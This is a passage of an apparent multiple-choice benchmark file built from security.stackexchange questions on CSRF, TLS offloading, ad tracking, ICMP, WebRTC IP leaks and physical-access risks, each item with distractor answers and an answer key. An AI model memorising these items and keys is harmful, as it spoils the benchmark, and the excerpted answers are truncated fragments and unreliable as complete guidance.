weird behaviour? Why would a hacker do this: hack some one's account, buy poker chips with their own PayPal account, and play the game? And how can I better protect myself against such 'attacks'? The poker chips were for Zynga's Poker game on Facebook. As has been mentioned in the comments , you cannot withdraw won money from this game. This is valuable - and intriguing - information which makes understanding the hacker's motives even harder.", "question_score": 136, "question_tags": ["passwords", "facebook", "identity-theft"], "choices": {"A": "I interpret your question as: What's the motivation for someone to use an alien Facebook account to play poker and stock it with chips? It's not that strange if you think about it this way: As poker is a game where knowledge about the dealt cards gives you a significant edge in the game, you'd like to use sock puppets at a table to know more about the card distribution. Thus, using sock puppets that are valid, active - real - Facebook accounts are the only way to gather more information without being spotted easily by heuristics. Düsseldorf is where...", "B": "By any measure, they're wrong: Seven random printable ASCII: 95 7 = 69 833 729 609 375 possible passwords. Ten random alphabetics: 52 10 = 144 555 105 949 057 024 possible passwords, or over 2000 times as many. Length counts. If you're generating your passwords randomly, it counts for far more than any other method of making them hard to guess.", "C": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,...", "D": "Facebook is allowing you to make a handful of mistakes to ease the login process. A Facebook engineer explained the process at a conference . The gist of it is that Facebook will try various permutations of the input you submitted and see if they match the hash they have in their database. For example, if your password is \"myRealPassword!\" but you submit \"MYrEALpASSWORD!\" (capslock on, shift inverting capslock). The submitted password obviously doesn't match what they have stored in their database. Rather than reject you flat out, Facebook tries to up the user experience by trying to \"correct\" a..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/120443/internet-courtship-why-would-a-hacker-buy-me-poker-chips"} {"id": "cybersecurity_170388", "domain": "cybersecurity", "question_title": "Do I need CSRF token if I'm using Bearer JWT?", "question_body": "Context : Angular site is hosted on S3 behind CloudFront, separate from Express server that is used as API and almost all requests are XMLHttpRequests. All requests are sent without cookies (withCredentials = false by default) and I use JWT Bearer token for authentication by taking it from cookies in angular and placing to Authorization header (This technique is kind of what is described in CSRF Wiki page ). On Express site I do not allow Cookie header in Access-Control-Allow-Headers . Cookies have secure: true flag, and are NOT httpOnly because I need to manually access them in angular. Also I've read in this Medium article that JSON-Web-Tokens(JWT )/Bearer Tokens is without a doubt one of the best methods of preventing CSRF Question 1 : Will I add extra security if I'll add X-XSRF-Token header to each request and for example make the mechanism stateless by checking for that same value in JWT payload? (I'we read about it in this thread ) Question 2 : Do I actually need extra security efforts agains CSRF taking all that I described?", "question_score": 136, "question_tags": ["cookies", "csrf", "node.js", "angularjs"], "choices": {"A": "This is relevant but doesn't necessarily answer 100% of your question: https://security.stackexchange.com/a/166798/149676 The short of it is that as long as authentication isn't automatic (typically provided by the browser) then you don't have to worry about CSRF protection. If your application is attaching the credentials via an Authorization header then the browser can't automatically authenticate the requests, and CSRF isn't possible. Therefore, I would re-word the quote from your article slightly: it isn't that Bearer Tokens are the best defense against CSRF attacks, but simply that CSRF is an attack vector that specifically attacks requests where the browser automatically provides...", "B": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using...", "C": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "D": "I wasn't originally aiming for a self-answer, but after more reading I've come up with what I believe to be a comprehensive answer that also explains why some might still be interested in CSRF protection on REST endpoints. No cookies = No CSRF It really is that simple. Browsers send cookies along with all requests. CSRF attacks depend upon this behavior. If you do not use cookies, and don't rely on cookies for authentication, then there is absolutely no room for CSRF attacks, and no reason to put in CSRF protection. If you have cookies, especially if you use them..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/170388/do-i-need-csrf-token-if-im-using-bearer-jwt"} {"id": "cybersecurity_30403", "domain": "cybersecurity", "question_title": "Should SSL be terminated at a load balancer?", "question_body": "When hosting a cluster of web application servers it’s common to have a reverse proxy (HAProxy, Nginx, F5, etc.) in between the cluster and the public internet to load balance traffic among app servers. In order to perform deep packet inspection, SSL must be terminated at the load balancer (or earlier), but traffic between the load balancer and the app servers would be unencrypted. Wouldn't early termination of SSL leave the app servers vulnerable to packet sniffing or ARP poisoning? Should SSL be offloaded? If so, how can it be done without compromising the integrity of the data being served? My main concern is for a web application where message layer encryption isn't an option.", "question_score": 135, "question_tags": ["tls", "network", "firewalls"], "choices": {"A": "OpenSSL s_client To check if you have disabled the SSLv3 support, then run the following openssl s_client -connect example.com:443 -ssl3 which should produce something like 3073927320:error:14094410:SSL routines:SSL3_READ_BYTES:sslv3 alert handshake failure:s3_pkt.c:1258:SSL alert number 40 3073927320:error:1409E0E5:SSL routines:SSL3_WRITE_BYTES:ssl handshake failure:s3_pkt.c:596: meaning SSLv3 is disabled on the server. Otherwise the connection will established successfully. Nmap Alternatively, you can use nmap to scan server for supported version: # nmap --script ssl-enum-ciphers example.com Starting Nmap 6.47 ( http://nmap.org ) at 2014-10-15 03:19 PDT Nmap scan report for example.com (203.0.113.100) Host is up (0.090s latency). rDNS record for 203.0.113.100: edge.example.com Not shown: 997 filtered ports PORT STATE...", "B": "You are touching a sore point… Historically , computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model. Thus, the hardware provides privilege levels . A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege...", "C": "Here is a dramatization of how the communication goes, when a mail is received anywhere. Context: an e-mail server, alone in a bay, somewhere in Moscow. The server just sits there idly, with an expression of expectancy. Server: Ah, long are the days of my servitude, That shall be spent in ever solitude, 'Ere comes hailing from the outer rings The swift bearer of external tidings. A connection is opened. Server: An incoming client ! Perchance a mail To my guardianship shall be entrusted That I may convey as the fairest steed And to the recipient bring the full tale....", "D": "It seems to me the question is \"do you trust your own datacenter\". In other words, it seems like you're trying to finely draw the line where the untrusted networks lie, and the trust begins. In my opinion, SSL/TLS trust should terminate at the SSL offloading device since the department that manages that device often also manages the networking and infrastructure. There is a certain amount of contractual trust there. There is no point of encrypting data at a downstream server since the same people who are supporting the network usually have access to this as well. (with the possible..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/30403/should-ssl-be-terminated-at-a-load-balancer"} {"id": "cybersecurity_171055", "domain": "cybersecurity", "question_title": "How did Google know I looked something up?", "question_body": "Yesterday I was searching DuckDuckGo for booking a vacation. I ended up reading a lot on one specific website. Today multiple websites show me Google banners from this specific website. Normally, I never look up websites for booking a vacation. I use DuckDuckGo on purpose, to prevent these kind of things. My question therefore is: how is this possible? I'm 100% certain that I didn't accidentally Google something. The website I was reading was this , if that helps.", "question_score": 135, "question_tags": ["privacy", "google"], "choices": {"A": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been...", "B": "Loading that page loads https://www.googleadservices.com/pagead/conversion.js https://www.googletagmanager.com/gtm.js?id=GTM-WPPRGM https://stats.g.doubleclick.net/dc.js The reason Google can track you is that the website shares details of your visit with them - in this case via loading Google JavaScript code for their ads service. *To expand on this - The Google ad code will use a cookie to track you. But even if it didn't there are browser fingerprinting mechanisms which in most cases can correctly identify a user's machine even after a full browser cache / history clear. When you visit a site with ads a request is made to the ad providers server. This sends...", "C": "A private key corresponds to a single \"identity\" for a given user, whatever that means to you. If, to you, an \"identity\" is a single person, or a single person on a single machine, or perhaps a single instance of an application running on a single machine. The level of granularity is up to you. As far as security is concerned, you don't compromise your key in any way [1] by using it to log in on a machine (as you would by using a password), so having separate keys for separate destinations doesn't make you any more safe from...", "D": "If the device left your sight for any amount of time, replace it. It can no longer be trusted. The cost to assure it can still be trusted significantly exceeds the cost of getting a new one There is effectively no way to verify that the hardware has not been tampered with without significant expertise and employing non-trivial resources. The only solution is to replace the laptop and all associated components. Without knowing your country or other aspects of the situation you are in, there is no way for me to comment on the likelihood of this, only on the..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/171055/how-did-google-know-i-looked-something-up"} {"id": "cybersecurity_189632", "domain": "cybersecurity", "question_title": "Is it common to allow local desktop and/or active directory admin access and rights for developers in organizations?", "question_body": "I work at a company with a staff of about 1000+. We currently have programming development staff that work on web based projects (approx 50 people). Recently due to security concerns our IT and Security department implemented a restriction no longer allowing local admin access on machines . The entire company runs Windows OS for both workstations and servers. I completely agreed with the decision to remove admin, honestly I thought it was long overdue (as the company deals with patient data and requires HIPAA compliance). Unfortunately I believe they took the decision too far. I assumed a subgroup or AD group would be created for users that legitimately needed admin access to do their job (EX my programming team) something like a Tech group that would retain admin access. However this was not the case, the only group created a specific Admin group for Network and Help Desk staff. The main problem is, as web developers we run programs that require local admin access and unfortunately can't do our job without them running as admin. Example programs include Visual Studio for ASP.NET web development, MAMP for local development, composer, etc. I believe the main reason these programs need admin access is because they need to run and modify local IIS, command line, etc. Basically there was short notice of when the local admin access was removed. After about 2 days of the development team being dead in the water in terms of being able to work and me and other team leaders basically yelling and screaming at the IT staff to come up with a solution they finally conceded and found a third party program that works as a pass through allowing the administrators to create the ability for certain programs to run as admin even though we don't have local admin access. Unfortunately, this program we use for local admin access is incredibly buggy and unreliable and not from a reputable source and there doesn't seem to be much for alternatives out there. (I would prefer not to disclose the program we use.) My question is, is it typical to not allow Programmers/Developers local admin access at a company or corporation? And if it is common practice to do so, then how do developers run the programs they need as local admin? A little more information on our network environment (not that it really relates to the question I just thought I'd add this): We use AppBlocker to block programs not on an approved list We use an email security blocker that does things like scan and convert attachments to PDF, etc. We have at least 2 major antivirus programs on all workstations. The network and it's servers very segregated, users only have access to certain servers, folders, and databases that they legitimately need access to.", "question_score": 135, "question_tags": ["windows", "audit", "compliance", "programming", "windows-server"], "choices": {"A": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been...", "B": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using...", "C": "This is actually an interesting new field in infosec— reputation management . Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name. These \"interested parties\" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider \"unsavory\", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while...", "D": "Here's one data point from a software company that has an interest in security. I know this is common in similar organisations. There is a number of networks. They are physically separated and airgapped, run different colour-coded network cables. Each employee has an 'administration' machine, which can connect to the Internet (via a proxy) for doing email etc. All users are strictly locked down, and there's strict device and access control. In addition to this, each developer has an 'engineering' machine. This has full admin access, and the user can do whatever they like. However it is connected only to..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/189632/is-it-common-to-allow-local-desktop-and-or-active-directory-admin-access-and-rig"} {"id": "cybersecurity_12664", "domain": "cybersecurity", "question_title": "Why would someone trust DuckDuckGo or other providers with a similar privacy policy?", "question_body": "DuckDuckGo is a search engine that claims it will not share your results with others. Many of my skeptical coworkers think it may be a scam. Is there any proof that any web search engine will protect your privacy as it advertises?", "question_score": 134, "question_tags": ["privacy", "trust", "duckduckgo"], "choices": {"A": "Here is a dramatization of how the communication goes, when a mail is received anywhere. Context: an e-mail server, alone in a bay, somewhere in Moscow. The server just sits there idly, with an expression of expectancy. Server: Ah, long are the days of my servitude, That shall be spent in ever solitude, 'Ere comes hailing from the outer rings The swift bearer of external tidings. A connection is opened. Server: An incoming client ! Perchance a mail To my guardianship shall be entrusted That I may convey as the fairest steed And to the recipient bring the full tale....", "B": "I was one of the implementers of JScript and on the ECMA committee in the mid to late 1990s, so I can provide some historical perspective here. The JavaScript Math.random() function is designed to return a floating point value between 0 and 1. It is widely known (or at least should be) that the output is not cryptographically secure First off: the design of many RNG APIs is horrible . The fact that the .NET Random class can trivially be misused in multiple ways to produce long sequences of the same number is awful. An API where the natural way...", "C": "Note: This answer was written in 2013. Many things have changed in the following years, which means that this answer should primarily be seen as how best practices used to be in 2013. The Theory We need to hash passwords as a second line of defence. A server which can authenticate users necessarily contains, somewhere in its entrails, some data which can be used to validate a password. A very simple system would just store the passwords themselves, and validation would be a simple comparison. But if a hostile outsider were to gain a simple glimpse at the contents of...", "D": "There is no proof that DuckDuckGo operates as advertised. (There never is, on the web.) However, that is the wrong question. DuckDuckGo is very clear in its privacy policy . DuckDuckGo says it doesn't track you , it doesn't send your searches to other sites , by default it does not use any cookies , it does not collect personal information , it does not log your IP address or other information about your computer that may be sent automatically with your searches , it doesn't store any personal information at all . Those are pretty strong promises, with no..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/12664/why-would-someone-trust-duckduckgo-or-other-providers-with-a-similar-privacy-pol"} {"id": "cybersecurity_35471", "domain": "cybersecurity", "question_title": "Is there any particular reason to use Diffie-Hellman over RSA for key exchange?", "question_body": "I often see RSA being recommended as a method of key exchange. However, the Diffie-Hellman key exchange method appears to be secure as well. Is there any considerations one should take into account that would lead to using one algorithm over the other?", "question_score": 134, "question_tags": ["key-exchange", "rsa", "diffie-hellman"], "choices": {"A": "The situation can be confused, so let's set things right. RSA is two algorithms, one for asymmetric encryption, and one for digital signatures . These are two distinct beast; although they share the same core mathematical operation and format for keys, they do different things in different ways. Diffie-Hellman is a key exchange algorithm, which is yet another kind of algorithm. Since the algorithms don't do the same thing, you could prefer one over the other depending on the usage context. Asymmetric encryption and key exchange are somewhat equivalent: with asymmetric encryption, you can do a key exchange by virtue...", "B": "The reason password expiration policies exist, is to mitigate the problems that would occur if an attacker acquired the password hashes of your system and were to break them. These policies also help minimize some of the risk associated with losing older backups to an attacker. For example, if an attacker were to break in and acquire your shadow password file, they could then start brute forcing the passwords without further accessing the system. Once they know your password, they can access the system and install whatever back doors they want unless you happen to have changed your password in...", "C": "Is this normal for a pentest? Absolutely not . Best case scenario: they are performing \"social engineering\" penetration testing and want to see if you can be pressured into fulfilling a very dangerous action. Middle-case scenario, they don't know how to do their job. Worst-case scenario they are only pretending to be an auditing company and fulfilling their request will result in an expensive breach. In the case of a code-audit the company will obviously need access to source code. However I would expect a company who provides such services to already understand the sensitivity of such a need and...", "D": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/35471/is-there-any-particular-reason-to-use-diffie-hellman-over-rsa-for-key-exchange"} {"id": "cybersecurity_71316", "domain": "cybersecurity", "question_title": "How secure are the FIDO U2F tokens", "question_body": "Google and Yubico just announced the availability of cryptographic security tokens following the FIDO U2F specification. Is this just another 2FA option, or is this significantly better than solutions such as SecureID and TOTP? Specifically: In what way is U2F fundamentally different from OTP? How does U2F affect the feasibility of phishing attacks in comparison to OTP systems? How feasible are non-interactive attacks against U2F (e.g. brute-force, etc)? Can I safely use a single U2F token with multiple independent services? How does U2F stack up against other commercial offerings? Are there better solutions available?", "question_score": 134, "question_tags": ["authentication", "multi-factor", "one-time-password", "fido"], "choices": {"A": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been...", "B": "The answers I've gotten have been good, but I wanted to provide a bit more depth, going specifically in to why the system exists at all, which should explain a bit more about what it's good for. Disclaimer: While I now work for Google, I knew nothing about this project at the time this answer was written. Everything reported here was gathered from public sources. This post is my own opinions and observations and commentary, and does not represent the opinions, views, or intentions of Google. Though it's worth pointing out that I've been using this and tinkering with it...", "C": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "D": "/** Dave's Home-brew Hash */ // user data $user = ''; $password = ''; // timestamp, \"random\" # $time = date('mdYHis'); // known to attackers - totally pointless // ^ also, as jdm pointed out in the comments, this changes daily. looks broken! // different hashes for different days? huh? or is this stored as a salt? $rand = mt_rand().'\\n'; // mt_rand is not secure as a random number generator // ^ it's even less secure if you only ask for a single 31-bit number. and why the \\n? // crypt is good if configured/salted correctly // ... except you've..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/71316/how-secure-are-the-fido-u2f-tokens"} {"id": "cybersecurity_22711", "domain": "cybersecurity", "question_title": "Is it a bad idea for a firewall to block ICMP?", "question_body": "This question was inspired by this answer which states in part: The generic firewall manifest file finishes off by dropping everything I didn't otherwise allow (besides ICMP. Don't turn off ICMP). But, is it truly a good practice for a firewall to allow ICMP? What are the security implications, and are there cases where ICMP should be turned off?", "question_score": 133, "question_tags": ["network", "firewalls", "icmp"], "choices": {"A": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "B": "Compared to other IP protocols ICMP is fairly small, but it does serve a large number of disparate functions. At its core ICMP was designed as the debugging, troubleshooting, and error reporting mechanism for IP. This makes it insanely valuable so a lot of thought needs to into shutting it down. It would be a bit like tacking >/dev/null 2>&1 to the end of all your cron entries. Most of the time when I talk to people about blocking ICMP they're really talking about ping and traceroute. This translates into 3 types 0 - Echo Reply (ping response) 8 -...", "C": "This attack is supposed to be presented 10 days from now, but my guess is that they use compression . SSL/TLS optionally supports data compression. In the ClientHello message, the client states the list of compression algorithms that it knows of, and the server responds, in the ServerHello , with the compression algorithm that will be used. Compression algorithms are specified by one-byte identifiers, and TLS 1.2 (RFC 5246) defines only the null compression method (i.e. no compression at all). Other documents specify compression methods, in particular RFC 3749 which defines compression method 1, based on DEFLATE , the LZ77-derivative...", "D": "This is actually an interesting new field in infosec— reputation management . Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name. These \"interested parties\" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider \"unsavory\", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/22711/is-it-a-bad-idea-for-a-firewall-to-block-icmp"} {"id": "cybersecurity_228918", "domain": "cybersecurity", "question_title": "Why is "fhepfcelehfcepfffacacacacacacabn" a top DNS query from my devices?", "question_body": "I recently set up NextDNS on my personal devices to further reduce the amount of tracking and ads I'm exposed to. The service comes with built-in analytics that shows a brief overview of your network activity. Most of the top hits are uninteresting, however there's one domain I couldn't figure out: What's the domain fhepfcelehfcepfffacacacacacacabn ? The seemingly random string gives roughly two pages of Google results, but none of them seem to hold any useful information. The log table says the entry is a DNS record of type NIMLOC , but that seems like another dead end inquiry-wise.", "question_score": 133, "question_tags": ["dns", "macos", "dns-domain"], "choices": {"A": "Facebook is allowing you to make a handful of mistakes to ease the login process. A Facebook engineer explained the process at a conference . The gist of it is that Facebook will try various permutations of the input you submitted and see if they match the hash they have in their database. For example, if your password is \"myRealPassword!\" but you submit \"MYrEALpASSWORD!\" (capslock on, shift inverting capslock). The submitted password obviously doesn't match what they have stored in their database. Rather than reject you flat out, Facebook tries to up the user experience by trying to \"correct\" a...", "B": "/** Dave's Home-brew Hash */ // user data $user = ''; $password = ''; // timestamp, \"random\" # $time = date('mdYHis'); // known to attackers - totally pointless // ^ also, as jdm pointed out in the comments, this changes daily. looks broken! // different hashes for different days? huh? or is this stored as a salt? $rand = mt_rand().'\\n'; // mt_rand is not secure as a random number generator // ^ it's even less secure if you only ask for a single 31-bit number. and why the \\n? // crypt is good if configured/salted correctly // ... except you've...", "C": "The reason password expiration policies exist, is to mitigate the problems that would occur if an attacker acquired the password hashes of your system and were to break them. These policies also help minimize some of the risk associated with losing older backups to an attacker. For example, if an attacker were to break in and acquire your shadow password file, they could then start brute forcing the passwords without further accessing the system. Once they know your password, they can access the system and install whatever back doors they want unless you happen to have changed your password in...", "D": "That domain is an encoded form of the string \"WORKGROUP\". It is using a variant of hex encoding that uses the letters A-P, instead of the numbers 0-9 followed by A-F. $ echo fhepfcelehfcepfffacacacacacacabn | tr a-p 0-9a-f | xxd -r -p | xxd 00000000: 574f 524b 4752 4f55 5020 2020 2020 201d WORKGROUP . This appears to be a NetBIOS name , which is why it's padded with spaces to 15 ASCII characters, and then followed by a different character at the end as a suffix. The hex encoding is described in the NetBIOS-over-TCP/UDP Concepts RFC , called \"first..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/228918/why-is-fhepfcelehfcepfffacacacacacacabn-a-top-dns-query-from-my-devices"} {"id": "cybersecurity_94783", "domain": "cybersecurity", "question_title": "Why is my internal IP address (private) visible from the Internet?", "question_body": "When visiting some websites like http://www.monip.org or http://ip-api.com , I get the following result: Your current IP Address - IP: 197.158.x.x - Internal IP: 192.168.x.x I understand that I can see my public IP address (197.158.x.x). What I can't figure out is that how come my internal IP address is visible through the Internet ? Those websites do not seem to use a Flash plugin, Java applet or other scripts. My ISP is performing a NAT of my internal IP address in order to access the Internet: 3G Wireless Modem [192.168.x.x] -------- ISP [NAT to 197.158.x.x] ------- Internet So how is it possible for a website to see my internal IP address?", "question_score": 132, "question_tags": ["ip"], "choices": {"A": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "B": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been...", "C": "The most likely source of this information is your browser's WebRTC implementation. You can see this in the source code of ip-api.com. From https://github.com/diafygi/webrtc-ips , which also provides a demo of this technique: Firefox and Chrome have implemented WebRTC that allow requests to STUN servers be made that will return the local and public IP addresses for the user. These request results are available to javascript, so you can now obtain a users local and public IP addresses in javascript. It was recently noted that the New York Times was using this technique to help distinguish between real visitors and...", "D": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/94783/why-is-my-internal-ip-address-private-visible-from-the-internet"} {"id": "cybersecurity_187515", "domain": "cybersecurity", "question_title": "Is momentary physical access dangerous?", "question_body": "I’m asking the question with these conditions: The device (computer or mobile phone) is in a running state. “Momentary” refers to a reasonably short period of time, such as 5 to 10 seconds. The system may not be in a “locked” state (e.g. showing a lock screen asking for a password). However, the active session doesn’t have superuser privilege (the usual case for a mobile phone). What can a hacker do to gain further access to the system?", "question_score": 131, "question_tags": ["physical"], "choices": {"A": "This attack is supposed to be presented 10 days from now, but my guess is that they use compression . SSL/TLS optionally supports data compression. In the ClientHello message, the client states the list of compression algorithms that it knows of, and the server responds, in the ServerHello , with the compression algorithm that will be used. Compression algorithms are specified by one-byte identifiers, and TLS 1.2 (RFC 5246) defines only the null compression method (i.e. no compression at all). Other documents specify compression methods, in particular RFC 3749 which defines compression method 1, based on DEFLATE , the LZ77-derivative...", "B": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the...", "C": "This is actually an interesting new field in infosec— reputation management . Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name. These \"interested parties\" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider \"unsavory\", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while...", "D": "That all depends on the system, the attacker, and the level of preparation they had. If they have unlimited preparation, they could do effectively anything that they could do with an unlimited access window. Even if they do not have in-depth knowledge of the specific system, it would not be difficult to very quickly inject malicious code that allows for subsequent remote access. They could: Connect a PCMCIA or PCIe card and dump memory or inject code. Splice a hardware keylogger in between the keyboard's PS/2 or USB cable. Quickly download and execute malicious code, or modify existing code. Access..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/187515/is-momentary-physical-access-dangerous"} {"id": "cybersecurity_206186", "domain": "cybersecurity", "question_title": "Is HostGator storing my password in plaintext?", "question_body": "I want to bring this up to HostGator, but want to verify my suspicions before making a big fuss. I asked a customer care representative to help me add an SSL certificate to a site I host with them. When he was done, I received this e-mail with all my login information, and my entire password in plain text (I left the first letter visible as evidence). I set up this password over a year ago, and it was a big surprise to find out they sent it back to me, unprompted, in plaintext: I immediately brought this up to the representative, who repeatedly tried to convince me that it was OK. I decided to drop it after a few minutes, because I think I should bring it up to someone higher up. 